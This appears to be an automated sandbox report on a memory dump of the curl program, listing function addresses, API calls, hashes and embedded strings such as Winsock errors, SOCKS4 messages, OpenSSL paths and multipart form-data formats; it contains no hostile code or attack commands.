No buffer space, xrefs: 0093219C
Invalid arguments, xrefs: 009320CA
Protocol option is unsupported, xrefs: 0093211A
Host down, xrefs: 009321F6
Operation not supported, xrefs: 00932138
Bad protocol, xrefs: 00932110
Too many references, xrefs: 009321C4
Loop??, xrefs: 009321E2
Bad quota, xrefs: 00932219
Bad message size, xrefs: 00932106
Network has been reset, xrefs: 0093217E
Address not available, xrefs: 00932160
Socket has been shut down, xrefs: 009321BA
Host not found, try again, xrefs: 00932271
Unrecoverable error in call to nameserver, xrefs: 0093226A, 0093227B
Connection was aborted, xrefs: 00932188
Need destination address, xrefs: 009320FC
Bad access, xrefs: 009320B6
Connection was reset, xrefs: 00932192
Not empty, xrefs: 00932204
Blocking call in progress, xrefs: 009320E8
Address family not supported, xrefs: 00932142
Name too long, xrefs: 009321EC
Bad argument, xrefs: 009320C0
Process limit reached, xrefs: 0093220B
Call would block, xrefs: 009320DE
Descriptor is not a socket, xrefs: 009320F2
Winsock version not supported, xrefs: 00932243
Host unreachable, xrefs: 009321FD
Socket is not connected, xrefs: 009321B0

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _strncpy
String ID: Address already in use$Address family not supported$Address not available$Bad access$Bad argument$Bad file$Bad message size$Bad protocol$Bad quota$Blocking call in progress$Call interrupted$Call would block$Connection refused$Connection was aborted$Connection was reset$Descriptor is not a socket$Disconnected$Host down$Host not found$Host not found, try again$Host unreachable$Invalid arguments$Loop??$Name too long$Need destination address$Network down$Network has been reset$Network unreachable$No buffer space$No data record of requested type$Not empty$Operation not supported$Out of file descriptors$Process limit reached$Protocol family not supported$Protocol is unsupported$Protocol option is unsupported$Remote error$Socket has been shut down$Socket is already connected$Socket is not connected$Socket is unsupported$Something is stale$Timed out$Too many references$Too many users$Unrecoverable error in call to nameserver$Winsock library is not ready$Winsock library not initialised$Winsock version not supported
API String ID: 2961919466-3442644082
Opcode ID: 44baed1aafabf680df7d2c4546e9600be6f27402d66a479223e311a4f87980cd
Instruction ID: 96e7d8b9c071fc62bfcd12b13fda30e9a3fc02cfe2997a40905f60860a5a759e
Opcode Fuzzy Hash: 44baed1aafabf680df7d2c4546e9600be6f27402d66a479223e311a4f87980cd
Instruction Fuzzy Hash: F341203170C201C39B6C039C6F106B34199F71A381FA5CA77BA3A8A777E159CD86AF56

Function 00922D60 Relevance: 78.4, APIs: 52, Instructions: 402COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00922EF1
_free.LIBCMT ref: 00922F0E
_free.LIBCMT ref: 00922F2B
_free.LIBCMT ref: 00922F48
_free.LIBCMT ref: 00922F65
_free.LIBCMT ref: 00922F82
_free.LIBCMT ref: 00922F9F
_free.LIBCMT ref: 00922FBC
_free.LIBCMT ref: 00922FD9
_free.LIBCMT ref: 00923001
_free.LIBCMT ref: 0092301E
_free.LIBCMT ref: 0092304A
_free.LIBCMT ref: 00923061
_free.LIBCMT ref: 00923078
_free.LIBCMT ref: 00923088
_free.LIBCMT ref: 009230CB
_free.LIBCMT ref: 009230E8
_free.LIBCMT ref: 00923105
_free.LIBCMT ref: 00923122
_free.LIBCMT ref: 0092313F
_free.LIBCMT ref: 0092315C
_free.LIBCMT ref: 00923179
_free.LIBCMT ref: 00923196
_free.LIBCMT ref: 009231B3
_free.LIBCMT ref: 009231D0
_free.LIBCMT ref: 009231ED
_free.LIBCMT ref: 0092320A
_free.LIBCMT ref: 00923227
_free.LIBCMT ref: 00923244
_free.LIBCMT ref: 00923261
_free.LIBCMT ref: 0092327E
_free.LIBCMT ref: 0092329B
_free.LIBCMT ref: 009232B8
_free.LIBCMT ref: 00923345
_free.LIBCMT ref: 00923362
_free.LIBCMT ref: 0092337F
_free.LIBCMT ref: 00922D6B

Part of subcall function 00A1E832: RtlFreeHeap.NTDLL(00000000,00000000,?,00A25D32,00000000,?,?,?,00000000,?,00A29029,00000018,00A67E48,00000008,00A28F76,?), ref: 00A1E846
Part of subcall function 00A1E832: GetLastError.KERNEL32(00000000,?,00A25D32,00000000,?,?,?,00000000,?,00A29029,00000018,00A67E48,00000008,00A28F76,?,?), ref: 00A1E858

_free.LIBCMT ref: 00922D82
_free.LIBCMT ref: 00922D99
_free.LIBCMT ref: 00922DB0
_free.LIBCMT ref: 00922DC7
_free.LIBCMT ref: 00922DDE
_free.LIBCMT ref: 00922DF5
_free.LIBCMT ref: 00922E0C
_free.LIBCMT ref: 00922E26
_free.LIBCMT ref: 00922E43
_free.LIBCMT ref: 00922E60
_free.LIBCMT ref: 00922E7D
_free.LIBCMT ref: 00922E9A
_free.LIBCMT ref: 00922EB7
_free.LIBCMT ref: 00922ED4
_free.LIBCMT ref: 0092339C

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: a6cd427fd822427b34336bdacc4e355ff9a2790ea0025dead226b2b987e02925
Instruction ID: 2e394a44341ac3d54a2c81a7c252f5205bdf3a2b50a65deaaee40a745d5dcc56
Opcode Fuzzy Hash: a6cd427fd822427b34336bdacc4e355ff9a2790ea0025dead226b2b987e02925
Instruction Fuzzy Hash: 1EF1ECF0A407419BEB20EF31E955BD7B2EC6F20704F04882CE89A87645EB79F554CBA5

Function 009C89A0 Relevance: 49.4, APIs: 1, Strings: 27, Instructions: 431COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\crypto\ec\ec_asn1.c, xrefs: 009C8D00
..\..\openssl\openssl\crypto\ec\ec_asn1.c, xrefs: 009C8ECA
..\..\openssl\openssl\crypto\ec\ec_asn1.c, xrefs: 009C8C60
..\..\openssl\openssl\crypto\ec\ec_asn1.c, xrefs: 009C8B3E
..\..\openssl\openssl\crypto\ec\ec_asn1.c, xrefs: 009C8E5F
..\..\openssl\openssl\crypto\ec\ec_asn1.c, xrefs: 009C8C3A
..\..\openssl\openssl\crypto\ec\ec_asn1.c, xrefs: 009C8C04
..\..\openssl\openssl\crypto\ec\ec_asn1.c, xrefs: 009C8AAF
..\..\openssl\openssl\crypto\ec\ec_asn1.c, xrefs: 009C8DB0
..\..\openssl\openssl\crypto\ec\ec_asn1.c, xrefs: 009C8EB0
..\..\openssl\openssl\crypto\ec\ec_asn1.c, xrefs: 009C8A53
..\..\openssl\openssl\crypto\ec\ec_asn1.c, xrefs: 009C8AD6
..\..\openssl\openssl\crypto\ec\ec_asn1.c, xrefs: 009C8A23
..\..\openssl\openssl\crypto\ec\ec_asn1.c, xrefs: 009C8CDC
..\..\openssl\openssl\crypto\ec\ec_asn1.c, xrefs: 009C8EBE
..\..\openssl\openssl\crypto\ec\ec_asn1.c, xrefs: 009C8EA2
..\..\openssl\openssl\crypto\ec\ec_asn1.c, xrefs: 009C8D25
..\..\openssl\openssl\crypto\ec\ec_asn1.c, xrefs: 009C8A90
..\..\openssl\openssl\crypto\ec\ec_asn1.c, xrefs: 009C8CB3
..\..\openssl\openssl\crypto\ec\ec_asn1.c, xrefs: 009C8B18
..\..\openssl\openssl\crypto\ec\ec_asn1.c, xrefs: 009C8E6D
..\..\openssl\openssl\crypto\ec\ec_asn1.c, xrefs: 009C8E02
..\..\openssl\openssl\crypto\ec\ec_asn1.c, xrefs: 009C8DD1
..\..\openssl\openssl\crypto\ec\ec_asn1.c, xrefs: 009C8E3E
..\..\openssl\openssl\crypto\ec\ec_asn1.c, xrefs: 009C8C7C
..\..\openssl\openssl\crypto\ec\ec_asn1.c, xrefs: 009C8C29
..\..\openssl\openssl\crypto\ec\ec_asn1.c, xrefs: 009C8E7B

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID:
String ID: ..\..\openssl\openssl\crypto\ec\ec_asn1.c$..\..\openssl\openssl\crypto\ec\ec_asn1.c$..\..\openssl\openssl\crypto\ec\ec_asn1.c$..\..\openssl\openssl\crypto\ec\ec_asn1.c$..\..\openssl\openssl\crypto\ec\ec_asn1.c$..\..\openssl\openssl\crypto\ec\ec_asn1.c$..\..\openssl\openssl\crypto\ec\ec_asn1.c$..\..\openssl\openssl\crypto\ec\ec_asn1.c$..\..\openssl\openssl\crypto\ec\ec_asn1.c$..\..\openssl\openssl\crypto\ec\ec_asn1.c$..\..\openssl\openssl\crypto\ec\ec_asn1.c$..\..\openssl\openssl\crypto\ec\ec_asn1.c$..\..\openssl\openssl\crypto\ec\ec_asn1.c$..\..\openssl\openssl\crypto\ec\ec_asn1.c$..\..\openssl\openssl\crypto\ec\ec_asn1.c$..\..\openssl\openssl\crypto\ec\ec_asn1.c$..\..\openssl\openssl\crypto\ec\ec_asn1.c$..\..\openssl\openssl\crypto\ec\ec_asn1.c$..\..\openssl\openssl\crypto\ec\ec_asn1.c$..\..\openssl\openssl\crypto\ec\ec_asn1.c$..\..\openssl\openssl\crypto\ec\ec_asn1.c$..\..\openssl\openssl\crypto\ec\ec_asn1.c$..\..\openssl\openssl\crypto\ec\ec_asn1.c$..\..\openssl\openssl\crypto\ec\ec_asn1.c$..\..\openssl\openssl\crypto\ec\ec_asn1.c$..\..\openssl\openssl\crypto\ec\ec_asn1.c$..\..\openssl\openssl\crypto\ec\ec_asn1.c
API String ID: 0-993790746
Opcode ID: 73ad656f85c1faf59e6645e0057437a04f533fea566f857f074788020fc0f104
Instruction ID: d93f0359acb80565c9fab411144070c467c5fd018c6bc0840f07c554961ded04
Opcode Fuzzy Hash: 73ad656f85c1faf59e6645e0057437a04f533fea566f857f074788020fc0f104
Instruction Fuzzy Hash: 1CE18430F44301ABEB25EE15C892F2B7299AB90740F18882DE9459F2D2DFB5DD45C793

Function 00950590 Relevance: 37.2, APIs: 6, Strings: 15, Instructions: 431COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 00950616
__aulldiv.LIBCMT ref: 00950627
ioctlsocket.WS2_32(8004667E,8004667E,?), ref: 00950689
_swscanf.LIBCMT ref: 00950775

Part of subcall function 0093F270: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,?,?,?,?,?,0093D2A7), ref: 0093F288
Part of subcall function 0093F270: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0093F296

_memmove.LIBCMT ref: 00950830

Part of subcall function 00950430: GetTickCount64.KERNEL32 ref: 00950491
Part of subcall function 00950430: __aulldiv.LIBCMT ref: 009504A2
Part of subcall function 00950430: recv.WS2_32(?,?,?,00000000), ref: 00950513
Part of subcall function 00950430: WSAGetLastError.WS2_32(?,000003E8,00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0095051E

Strings

Failed to resolve "%s" for SOCKS4 connect., xrefs: 009507D0
Failed to send SOCKS4 connect request., xrefs: 0095091B
SOCKS4%s request granted., xrefs: 009509A5
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids., xrefs: 00950A7E
Failed to receive SOCKS4 connect request ack., xrefs: 00950AD1
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed., xrefs: 009509FC
SOCKS4 connect to %s (locally resolved), xrefs: 009507B2
Too long SOCKS proxy name, can't use!, xrefs: 00950811
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown., xrefs: 00950ABC
SOCKS4 reply has wrong version, version should be 4., xrefs: 00950965
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client., xrefs: 00950A3D
SOCKS4 communication to %s:%d, xrefs: 0095069B
%hu.%hu.%hu.%hu, xrefs: 0095076F
Connection time-out, xrefs: 00950AF5
Failed to send SOCKS4 connect request., xrefs: 00950AE3

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: Count64Tick__aulldiv$CloseErrorHandleLastObjectSingleWait_memmove_swscanfioctlsocketrecv
String ID: %hu.%hu.%hu.%hu$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed.$Connection time-out$Failed to receive SOCKS4 connect request ack.$Failed to resolve "%s" for SOCKS4 connect.$Failed to send SOCKS4 connect request.$Failed to send SOCKS4 connect request.$SOCKS4 communication to %s:%d$SOCKS4 connect to %s (locally resolved)$SOCKS4 reply has wrong version, version should be 4.$SOCKS4%s request granted.$Too long SOCKS proxy name, can't use!
API String ID: 2345617924-1625008050
Opcode ID: 382079093b4841355c5f2f61371d3ddeab59dffce1fcd1fc19d90ee92b0d92ac
Instruction ID: bc9fe31cb0cd160073bb4ed3e70fc8961d2b6977d48c12407871d0f836a0a873
Opcode Fuzzy Hash: 382079093b4841355c5f2f61371d3ddeab59dffce1fcd1fc19d90ee92b0d92ac
Instruction Fuzzy Hash: E0E1087150C340AFD754DB25CC91B7FBBE89BC9305F04496DF9CA97282D629DA08CBA2

Function 0092C830 Relevance: 33.5, APIs: 9, Strings: 10, Instructions: 299COMMON

Download Yara Rule

APIs

_fputc.LIBCMT ref: 0092C87C
_fputc.LIBCMT ref: 0092CEE6
_fputc.LIBCMT ref: 0092CEF1

Strings

%.0f, xrefs: 0092CCDA
%.3f, xrefs: 0092CB6D
%.3f, xrefs: 0092CADB
%.3f, xrefs: 0092CBFF
%.3f, xrefs: 0092CB24
curl: unknown --write-out variable: '%s', xrefs: 0092C8E8
%.0f, xrefs: 0092CC91
%.3f, xrefs: 0092CD23
%.3f, xrefs: 0092CBB6
%.3f, xrefs: 0092CC48

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _fputc
String ID: %.0f$%.0f$%.3f$%.3f$%.3f$%.3f$%.3f$%.3f$%.3f$curl: unknown --write-out variable: '%s'
API String ID: 4236582747-1773815909
Opcode ID: 54ce0b8eb165441e4ba3bfeee5b5658ba7d2f6ac6d7f8978df1367ce52176a36
Instruction ID: 5a9ef71a8ac38344801cb5ae95bfbafd40ae1ad131f78bbf7caa264522b1be87
Opcode Fuzzy Hash: 54ce0b8eb165441e4ba3bfeee5b5658ba7d2f6ac6d7f8978df1367ce52176a36
Instruction Fuzzy Hash: 72A12A65C083D4BAC711AF286C02ABFBB79AF62704F044D29FCC86B257E325C6459792

Function 00A14290 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 194filethreadwindowCOMMON

Download Yara Rule

APIs

FindWindowA.USER32(Pageant,Pageant), ref: 00A142CB
GetCurrentThreadId.KERNEL32 ref: 00A14306
_sprintf.LIBCMT ref: 00A14317
CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00002000,?), ref: 00A14331
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000), ref: 00A14354
_memmove.LIBCMT ref: 00A14385
SendMessageA.USER32(?,0000004A,00000000,804E50BA), ref: 00A143C5
UnmapViewOfFile.KERNEL32(00000000), ref: 00A143E8
CloseHandle.KERNEL32(00000000), ref: 00A143EF

Strings

Pageant, xrefs: 00A142C1
PageantRequest%08x, xrefs: 00A14311
Pageant, xrefs: 00A142C6

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: File$View$CloseCreateCurrentFindHandleMappingMessageSendThreadUnmapWindow_memmove_sprintf
String ID: Pageant$Pageant$PageantRequest%08x
API String ID: 2583005719-3387828613
Opcode ID: f18c5b66a9136b2aa2ca45947a72db810c1ae4b50ec0cbbb45f446365f5d85b8
Instruction ID: 1efe3d6daf2b1f3310cdb78648c11ccf49db8a361b3d817dd86b4dd2b84b76e4
Opcode Fuzzy Hash: f18c5b66a9136b2aa2ca45947a72db810c1ae4b50ec0cbbb45f446365f5d85b8
Instruction Fuzzy Hash: F861CE712002019FC704DF78EC99BAEBBE8BF4D324F44426DF95A8B291E73195458B92

Function 009305F0 Relevance: 28.5, APIs: 3, Strings: 13, Instructions: 492COMMON

Download Yara Rule

Strings

--%s--, xrefs: 00930B98
--%s, xrefs: 00930720
Content-Type: %s, xrefs: 0093087B
couldn't open file "%s", xrefs: 00930ACD
%s, xrefs: 009308A9
--%s--, xrefs: 00930B16
------------------------%08x%08x, xrefs: 00930665, 009307D5
Content-Disposition: form-data; name=", xrefs: 00930741
%s; boundary=%s, xrefs: 009306A0
, xrefs: 009308D7
--%sContent-Disposition: attachment, xrefs: 00930824
Content-Type: multipart/form-data, xrefs: 00930697, 0093069F
Content-Type: multipart/mixed; boundary=%s, xrefs: 009307EF

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: Count64Tick__aulldiv
String ID: $%s$--%sContent-Disposition: attachment$--%s--$--%s--$Content-Type: %s$Content-Type: multipart/mixed; boundary=%s$%s; boundary=%s$--%s$------------------------%08x%08x$Content-Disposition: form-data; name="$Content-Type: multipart/form-data$couldn't open file "%s"
API String ID: 1362846788-3950785904
Opcode ID: 56f8659d0033aa4794dc7fe7f8047e0483546dc9144421ca792381ad4b7ccff6
